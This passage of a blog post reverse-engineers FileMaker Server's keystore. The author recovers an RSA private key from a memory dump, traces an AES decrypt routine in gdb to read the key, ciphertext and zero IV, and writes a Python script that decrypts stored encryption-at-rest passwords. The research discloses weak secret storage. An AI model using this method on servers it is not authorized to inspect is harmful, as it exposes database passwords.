&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Turns out the private key is hanging out in unencrypted form in memory. Let&amp;rsquo;s check if it matches the public key file &lt;code&gt;CStore/machinePublicKey&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A quick way to do this is to extract the public key from the discovered private key and then compare it to the &lt;code&gt;machinePublicKey&lt;/code&gt; file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;openssl rsa -in machinePrivateKey.key -pubout &amp;gt; machinePublicKey.extracted
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This gives us a public key which – by looking at it – doesn&amp;rsquo;t match the one from the FileMaker Server installation. However, this is just because it&amp;rsquo;s not in PKCS#1 format like the original one. We can convert it and see that it&amp;rsquo;s a match now:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;openssl rsa -pubin -in machinePublicKey.extracted -RSAPublicKey_out -out machinePublicKey.extracted.pkcs1
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="what-now"&gt;What now?&lt;/h2&gt;
&lt;p&gt;If we only wanted to know the RSA private key, we would have succeeded by now. But even if we would also have gotten our other secrets in plaintext, it would not really help us as we still don&amp;rsquo;t understand how the values are encrypted, wouldn&amp;rsquo;t know what to search for when not knowing the plaintext, and don&amp;rsquo;t understand the memory structure.&lt;/p&gt;
&lt;p&gt;So what could be the next step? Since we are anyhow dealing with memory dumps, maybe we can find the actual AES key used to encrypt the keystore values in memory?&lt;/p&gt;
&lt;h2 id="extracting-aes-keys-from-memory"&gt;Extracting AES keys from memory&lt;/h2&gt;
&lt;p&gt;How could we possibly find what 16 or 32 bytes are an AES key when getting handed a dump of more than gigabyte of seemingly random data?&lt;/p&gt;
&lt;p&gt;When we put a key into AES, the key is actually expanded into so-called round keys (11 rounds for 128-bit keys, 15 for 256-bit keys). These round keys are needed for the encryption/decryption process and might thus be hanging around in memory. By checking the memory for random-looking (i.e. high entropy) byte sequences using a sliding window of the size of the so-called key schedule (all the roundkeys), it is possible to get a list of potential keys.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s a &lt;a href="https://www.youtube.com/watch?v=rmqWaktEpcw"&gt;good video explaining the key expansion&lt;/a&gt; and here&amp;rsquo;s &lt;a href="https://diyinfosec.medium.com/scanning-memory-for-fek-e17ca3db09c9"&gt;an article describing in more detail what options are available to extract keys from memory dumps&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Since it&amp;rsquo;s kind of a long shot anyway, I didn&amp;rsquo;t spend too much time in this phase and just ran two forensic tools over the dump. One was &lt;a href="https://github.com/simsong/bulk_extractor"&gt;bulk_extractor&lt;/a&gt; and the other &lt;a href="https://salsa.debian.org/pkg-security-team/aeskeyfind"&gt;aeskeyfind&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Using the tools is straight-forward. For example: &lt;code&gt;bulk_extractor -E aes my_dump -o extraction_output&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While the tools found some potential AES-128-bit keys, none of them were matching or weren&amp;rsquo;t even keys at all. They could have also been from the encryption/decryption routines that go on when the server encrypts/decrypts individual pages of the opened hosted databases.&lt;/p&gt;
&lt;p&gt;I tried once more to dump the memory multiple times during FMS startup with a lot of encrypted files being opened (which would require keystore values being decrypted) and also during repeated opening/closing of a file in a loop, but it obviously didn&amp;rsquo;t produce any detectable keys in the dumps.&lt;/p&gt;
&lt;p&gt;Getting the key so seemlessly by running a tool would have been nice in a way, but I&amp;rsquo;m also kind of reliefed that it wasn&amp;rsquo;t that easy :-)&lt;/p&gt;
&lt;h2 id="looking-at-what-the-program-is-doing-and-extracting-the-key"&gt;Looking at what the program is doing and extracting the key&lt;/h2&gt;
&lt;p&gt;Since the &amp;ldquo;lazier&amp;rdquo; attempts didn&amp;rsquo;t result in any new insights, let&amp;rsquo;s actually try to observe what the program (&lt;code&gt;fmserverd&lt;/code&gt;) is doing.&lt;/p&gt;
&lt;p&gt;We obviously don&amp;rsquo;t have any source code, but as the program runs on our computer, we can attach a debugger and inspect the behavior, see loaded libraries, disassemble parts of it and step through the interesting bits.&lt;/p&gt;
&lt;p&gt;I used &lt;code&gt;gdb&lt;/code&gt; on Linux and &lt;code&gt;lldb&lt;/code&gt; on macOS. Please note, that on macOS you will need to disable &lt;a href="https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection"&gt;System Integrity Protection&lt;/a&gt; (or remove the program&amp;rsquo;s code signature) to attach to a running process.&lt;/p&gt;
&lt;p&gt;On our Linux server, we can start by attaching with &lt;code&gt;gdb -p &amp;lt;pid&amp;gt;&lt;/code&gt; and on macOS with &lt;code&gt;lldb -p &amp;lt;pid&amp;gt;&lt;/code&gt;. Luckily, the binaries are not stripped of symbols, so we can see function names and of course the exports of the libraries.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first have a look at loaded libraries of a running server instance on Linux:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info sharedlibrary
From To Syms Read Shared Object Library
0x00007f5dea393a40 0x00007f5dea3f89af Yes (*) /lib/x86_64-linux-gnu/libc++.so.1
0x00007f5dea32e450 0x00007f5dea348ef0 Yes (*) /lib/x86_64-linux-gnu/libc++abi.so.1
0x00007f5de9a21ed0 0x00007f5dea09341d Yes /opt/FileMaker/lib/libFMSLib.so
0x00007f5de8f48560 0x00007f5de959d1f9 Yes /opt/FileMaker/lib/libFMEngine.so
0x00007f5de6e0fb60 0x00007f5de83bdf00 Yes /opt/FileMaker/lib/libDBEngine.so
0x00007f5de61fea20 0x00007f5de63496b9 Yes /opt/FileMaker/lib/libSupport.so
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Most interesting to us are the non-standard libaries located in &lt;code&gt;/opt/FileMaker/lib&lt;/code&gt; and of course the actual &lt;code&gt;fmserverd&lt;/code&gt; binary.&lt;/p&gt;
&lt;p&gt;The binaries come with some symbol information, so we can try to make sense of any of the contained function names.&lt;/p&gt;
&lt;p&gt;Below I&amp;rsquo;m using &lt;code&gt;objdump&lt;/code&gt; to dump the symbol table and demangle the names (we want human-readable names), and pipe the result to &lt;code&gt;less&lt;/code&gt; to easily scroll through and search in the result.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;objdump -tC &amp;lt;some binary&amp;gt; | less
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 Symbol information allows for much easier debugging, also when you don&amp;rsquo;t have the source code available (even if explicit debug symbols would not be available). I assume the binaries are intentially not stripped (i.e. contain symbols) in the release versions such that it&amp;rsquo;s possible to troubleshoot/debug weird behaviors on deployed systems (although, I guess, you could still keep them separate from the binary and then strip all unneeded in the relase version)&lt;br&gt;&lt;br&gt;If you like to see what is included in a binary and what not, you can write a small C program, compile it with &lt;code&gt;gcc&lt;/code&gt; and once include the &lt;code&gt;-g&lt;/code&gt; flag, once not include the &lt;code&gt;-g&lt;/code&gt; flag and then run &lt;code&gt;strip&lt;/code&gt; over another compiled version. For each of the three versions, you can then run the above &lt;code&gt;objdump&lt;/code&gt; command and see the difference.&lt;br&gt;&lt;br&gt;Fun fact: I later found out that I could have retrieved much more information just by inspecting all the provided symbol information, so I believe I made it a bit harder for myself and that you can arrive at the end result faster than I describe here.
&lt;/div&gt;

&lt;p&gt;Since we are interested in the keystore, we can search for names that could be related. Such terms could be &lt;code&gt;keystore&lt;/code&gt;, &lt;code&gt;EAR&lt;/code&gt;, &lt;code&gt;crypt&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;AES&lt;/code&gt;, etc.&lt;/p&gt;
&lt;p&gt;As an example, let&amp;rsquo;s say we searched for &amp;ldquo;Password&amp;rdquo; and have identified the following symbol in &lt;code&gt;libSupport&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;00000000000f9a50 g F .text 0000000000000005 Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)`.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we still have our debugger attached, we can have a look at this function from within gdb:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info address Draco::PasswordHash::ComputePasswordHashRawBytes
Symbol &amp;#34;Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)&amp;#34; is a function at address 0x7f5de6220a50.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we disassemble this function we see it&amp;rsquo;s just a jump to &lt;code&gt;PKCS5_PBKDF2_HMAC_SHA1&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) disas 0x7f5de6220a50
Dump of assembler code for function Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*):
 0x00007f5de6220a50 &amp;lt;+0&amp;gt;: jmpq 0x7f5de61fdab0 &amp;lt;PKCS5_PBKDF2_HMAC_SHA1@plt&amp;gt;
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And what &lt;code&gt;PKCS5_PBKDF2_HMAC_SHA1&lt;/code&gt; is doing, we can just look up in the &lt;a href="https://www.openssl.org/docs/man3.1/man3/PKCS5_PBKDF2_HMAC_SHA1.html"&gt;openssl manual&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We still don&amp;rsquo;t know if this function is at all related to what we want to find out (there&amp;rsquo;s a lot of crypto stuff in FileMaker Server), but we can start taking notes and piece together information.&lt;/p&gt;
&lt;p&gt;Not every function will be as short and understandable as the above and you will either need to read a lot of assembly code or could try to figure things out using a decompiled version of the function of interest (for example with &lt;a href="https://ghidra-sre.org"&gt;Ghidra&lt;/a&gt;&amp;rsquo;s decompiler). For where we want to get to, we don&amp;rsquo;t really need a decompiler and can just skim the assembly code, so we will mostly just stay in &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once we have few ideas and an overview of interesting functions that could be related to the keystore, we can set breakpoints, continue running the program and then perform an action that we want to observe. I always used the opening of a hosted file (&lt;code&gt;fmsadmin open &amp;lt;file&amp;gt;&lt;/code&gt;) as this must read the keystore file and decrypt the EAR password.&lt;/p&gt;
&lt;p&gt;Eventually, I arrived at &lt;code&gt;Draco::Encrypt_AES_decrypt&lt;/code&gt; which is called by &lt;code&gt;Draco::KeyStorageProvider::CryptData&lt;/code&gt; (both in the Support lib) and is responsible for the decryption of the keystore values. Let&amp;rsquo;s see what we can learn when setting a breakpoint at this function (still in the attached debugger):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) b Draco::Encrypt_AES_decrypt
Breakpoint 1 at 0x7f5de61f8a40 (2 locations)
(gdb) c
Continuing.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With the breakpoint set, we can now open a file that has an EAR password stored in the keystore. As soon as the open command is sent, the program hits the breakpoint and stops:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Thread 49 &amp;#34;fmserverd&amp;#34; hit Breakpoint 1, 0x00007f5de61f8a40 in Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&amp;amp;, unsigned char const*)@plt ()
 from /opt/FileMaker/lib/libSupport.so
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we see the &lt;code&gt;@plt&lt;/code&gt; at the end, we need to execute one more &lt;code&gt;jmp&lt;/code&gt; into the actual function with &lt;code&gt;si&lt;/code&gt; (step one instruction).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;@plt&lt;/code&gt; stands for &amp;ldquo;procedure linkage table&amp;rdquo; and is essentially a way to point to a library function which address cannot be known in the linking stage but only dynamically be resolved at run time (as far as I understand it).&lt;/p&gt;
&lt;p&gt;Now that we are in the actual implemented function, let&amp;rsquo;s have a look what arguments are passed to it.&lt;/p&gt;
&lt;p&gt;To do this we first check the CPU registers:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info registers
rax 0x7f5dbf8f6078 140040622530680
rbx 0x7f5dbf8f5af4 140040622529268
rcx 0x20 32
rdx 0x7f5dd863d6c0 140041039107776
rsi 0x30 48
rdi 0x7f5dd80e0e90 140041033485968
rbp 0x7f5dbf8f5ff0 0x7f5dbf8f5ff0
rsp 0x7f5dbf8f5ed8 0x7f5dbf8f5ed8
r8 0x7f5dbf8f5f80 140040622530432
r9 0x0 0
r10 0x7f5dd8105b9c 140041033636764
r11 0x7f5dbf8f5cc8 140040622529736
r12 0x1 1
r13 0x3e5 997
r14 0x7f5dbf8f6040 140040622530624
r15 0x7f5dbf8f5fb0 140040622530480
rip 0x7f5de62217f0 0x7f5de62217f0 &amp;lt;Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&amp;amp;, unsigned char const*)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Based on x86-64 calling conventions, we know how and in what registers functions receive their arguments from their caller (see &amp;ldquo;A.2 AMD64 Linux Kernel Conventions&amp;rdquo; in &lt;a href="https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.99.pdf"&gt;AMD64 System V Application Binary Interface&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Quoted from the linked document:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;User-level applications use as integer registers for passing the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We don&amp;rsquo;t have any parameter names but we &lt;em&gt;do&lt;/em&gt; know the signature of our discovered function (&lt;code&gt;unsigned char*, int, unsigned char const*, int, unsigned int&amp;amp;, unsigned char const*&lt;/code&gt;). So let&amp;rsquo;s map the arguments:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rdi&lt;/code&gt;: A pointer to 0x7f5dd80e0e90&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rsi&lt;/code&gt;: An integer with value 48&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt;: A pointer to 0x7f5dd863d6c0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt;: An integer with value 32&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r8&lt;/code&gt;: A pointer to 0x7f5dbf8f5f80&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r9&lt;/code&gt;: Null&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since we only have 6 parameters, we don&amp;rsquo;t need to look at the stack for more.&lt;/p&gt;
&lt;p&gt;Now let&amp;rsquo;s inspect the addresses in more detail.&lt;/p&gt;
&lt;p&gt;We assume that the second and fourth parameter indicates the size of the previous parameter, as this is quite common.&lt;/p&gt;
&lt;p&gt;Checking 48 byes from address &lt;code&gt;0x7f5dd80e0e90&lt;/code&gt; (&lt;code&gt;rdi&lt;/code&gt;):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) x/48xb 0x7f5dd80e0e90
0x7f5dd80e0e90: 0x6f 0x8e 0x36 0x87 0x79 0x52 0xb2 0x58
0x7f5dd80e0e98: 0x19 0xeb 0xa1 0xc0 0xc2 0x84 0x8e 0xef
0x7f5dd80e0ea0: 0xe8 0xe6 0xd5 0x77 0x30 0xd0 0xee 0xc3
0x7f5dd80e0ea8: 0x4a 0x64 0x65 0x5b 0xd6 0xe4 0x46 0xb8
0x7f5dd80e0eb0: 0xfb 0x11 0x47 0x91 0x61 0xa8 0xfc 0x2b
0x7f5dd80e0eb8: 0xa5 0x44 0xb0 0xb5 0x92 0x62 0x1f 0x31
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we compare this to our encrypted EAR password that we looked at earlier, it comes out as the same sequence of bytes:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ echo -n &amp;#39;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x&amp;#39; | base64 -d | xxd
00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can be pretty sure that this argument is the ciphertext from the keystore.&lt;/p&gt;
&lt;p&gt;What about &lt;code&gt;0x7f5dd863d6c0&lt;/code&gt; (&lt;code&gt;rdx&lt;/code&gt;)? Let check 32 bytes from there:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) x/32xb 0x7f5dd863d6c0
0x7f5dd863d6c0: 0xa5 0x10 0xc9 0xf2 0x24 0xde 0x97 0x1b
0x7f5dd863d6c8: 0x45 0x95 0x82 0xae 0xec 0x5b 0xc8 0x84
0x7f5dd863d6d0: 0x9c 0x9f 0xb1 0xa0 0x4c 0xe4 0xba 0x27
0x7f5dd863d6d8: 0x31 0x0d 0x03 0xf0 0xef 0x67 0xc6 0x27
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we are expecting a 256-bit key, this could be it.&lt;/p&gt;
&lt;p&gt;Now we have the values of &lt;code&gt;r8&lt;/code&gt; and &lt;code&gt;r9&lt;/code&gt; left. We don&amp;rsquo;t know about the first, but the latter is 0 (&lt;code&gt;0x00&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Since we expect AES to be used in CBC mode without an initialization vector (IV), maybe this could be the &amp;ldquo;null IV&amp;rdquo;!?&lt;/p&gt;
&lt;p&gt;We already have potentially useful information here, but let&amp;rsquo;s check what &lt;code&gt;Encrypt_AES_decrypt&lt;/code&gt; is actually doing and if we can get any further hints.&lt;/p&gt;
&lt;p&gt;To do this, we can disassemble the function right from GDB:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Dump of assembler code for function Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&amp;amp;, unsigned char const*):
=&amp;gt; 0x00007f5de62217f0 &amp;lt;+0&amp;gt;: push %rbp
 ...
 0x00007f5de6221855 &amp;lt;+101&amp;gt;: mov %rax,%rbx
 0x00007f5de6221858 &amp;lt;+104&amp;gt;: callq 0x7f5de61f9bf0 &amp;lt;EVP_aes_128_cbc@plt&amp;gt;
 ...
 0x00007f5de622186b &amp;lt;+123&amp;gt;: callq 0x7f5de61f8d00 &amp;lt;EVP_DecryptInit_ex@plt&amp;gt;
 ...
 0x00007f5de6221881 &amp;lt;+145&amp;gt;: callq 0x7f5de61fd870 &amp;lt;EVP_DecryptUpdate@plt&amp;gt;
 ...
 0x00007f5de62218a4 &amp;lt;+180&amp;gt;: callq 0x7f5de61fc980 &amp;lt;EVP_DecryptFinal_ex@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I removed some instructions above to only show the interesting calls. GDB resolves the addresses and shows us calls to OpenSSL functions, for example &lt;a href="https://www.openssl.org/docs/manmaster/man3/EVP_aes_128_cbc.html%60"&gt;&lt;code&gt;EVP_aes_128_cbc&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We could look up the details and source code for these functions as they are publicly known.&lt;/p&gt;
&lt;p&gt;While not a big deal, it&amp;rsquo;s a bit of a surprise to see &lt;code&gt;EVP_aes_128_cbc&lt;/code&gt; as we were expecting &lt;code&gt;EVP_aes_256_cbc&lt;/code&gt; as that would match what is written in Claris&amp;rsquo; documentation.&lt;/p&gt;
&lt;p&gt;For now, we just set another breakpoint at the first and second call, &lt;code&gt;(gdb) b EVP_aes_128_cbc&lt;/code&gt; and &lt;code&gt;(gdb) b EVP_DecryptInit_ex&lt;/code&gt;, and then continue running the program (&lt;code&gt;c&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;At this stage we just want to verify that the function is actually called (we could have also read and understand all the disassembled instructions instead).&lt;/p&gt;
&lt;p&gt;Both breakpoints hit. And in the second one, we can actually verify our assumptions from above as we know the parameters names and their meaning for the decryption intialization function from the OpenSSL documentation.&lt;/p&gt;
&lt;p&gt;This means we have learned so far:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AES is used in CBC mode&lt;/li&gt;
&lt;li&gt;We have a 256 bit key, but are using &lt;code&gt;EVP_aes_128_cbc&lt;/code&gt; and thus only use the first half of the key (probably a bug)&lt;/li&gt;
&lt;li&gt;We know the IV is set to all zeros (16 bytes, like the block size)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="building-our-own-decryptor"&gt;Building our own decryptor&lt;/h2&gt;
&lt;p&gt;It&amp;rsquo;s time to test if the data we discovered can actually be used to independently decrypt the keystore values.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s build a small Python script and re-implement what we discovered. I&amp;rsquo;m using &lt;a href="https://www.pycryptodome.org"&gt;PyCryptodome&lt;/a&gt; for the crypto routines.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Cipher&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Cryptodome.Util.Padding&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;decoded_ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded_ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;b442h3l&amp;lt;snip&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a510c&amp;lt;snip&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;plaintext: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
